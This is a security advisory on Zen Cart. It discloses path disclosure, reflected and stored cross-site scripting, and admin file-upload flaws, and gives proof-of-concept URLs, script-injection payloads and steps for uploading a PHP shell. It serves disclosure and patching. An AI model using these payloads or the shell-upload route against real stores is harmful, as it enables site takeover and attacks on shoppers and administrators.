Multiple Vulnerabilities in Zen Cart

An error occurs when an attacker points a single page. This leads to discover the full path of web server and vhost directory. The 'Quantity' field of Store Product don't sanitizes user input before to show output back to user. This leads an attacker to inject and execute arbitrary javascript and/or html code. You have to be logged as Admin. The 'Zones Name & Code' fields of Locations/Taxes don't sanitizes user input before to store it into database and to show output back to user. This leads an attacker to inject and execute arbitrary javascript and/or html code.

Mitigation:

Sanitize user input before to show output back to user and store it into database.

[*] [ FULL PATH DISCLOSURE ]

  [-] [ INFO ]

   An error occurs when an attacker points a single page.
   This leads to discover the full path of web server and vhost directory.

  [-] [ EXPLOIT ] 

   http://[host]/includes/languages/english.php
   ...etc

   Fatal error: Call to undefined function zen_href_link() in
   /var/www/includes/languages/english.php on line 16



[*] [ REFLECTED CROSS-SITE SCRIPTING (XSS) ]

  [-] [ INFO ] 

   This Issue has *not* been found into last tested version (1.3.9h) but
   into all others versions. The "Quantity" field of Store Product don't 
   sanitizes user input before to show output back to user. This leads an 
   attacker to inject and execute arbitrary javascript and/or html code.

  [-] [ EXPLOIT ]

   http://[host]/index.php?main_page=shopping_cart (OR)

   Your Shopping Cart Contents =>

   Qty: "><script>alert("XSS")</script>

   Click on "Change your Quantity" refresh button.



[*] [ STORED CROSS-SITE SCRIPTING (XSS) ]

  [-] [ INFO ]

   You have to be logged as Admin. The "Zones Name & Code" fields of
   Locations/Taxes don't sanitizes user input before to store it into
   database and to show output back to user. This leads an attacker to 
   inject and execute arbitrary javascript and/or html code.

  [-] [ EXPLOIT ]

   http://[host]/[admin]/zones.php?page=1&action=new (OR)

   Locations/Taxes => Zones
   
   Zones Name: "><script>alert("XSS")</script>
   Zones Code: "><script>alert("XSS")</script>
   
   So, you inject evil code that can not be deleted. (">) destroy the 
   page structure so the Admin have to work directly on database 
   (phpmyadmin, etc.) to restore it and delete evil code.   

   ...etc, others Stored XSS are presents on admin console.



[*] [ ARBITRARY FILE UPLOAD ]

  [-] [ INFO ]
 
   Banner Manager don't check the extension/type of image to upload.
   This leads an attacker that have administrative privileges to
   upload arbitrary files on server (ie. backdoors, php shells, etc.) 

  [-] [ EXPLOIT ]

   http://[host]/[admin]/banner_manager.php?action=new (OR)

   Tools => Banner Manager => New Banner => Image: phpShell.php

   The uploaded file will be located into:

    http://[host]/images/phpShell.php

    uid=33(www-data) gid=33(www-data) groups=33(www-data)
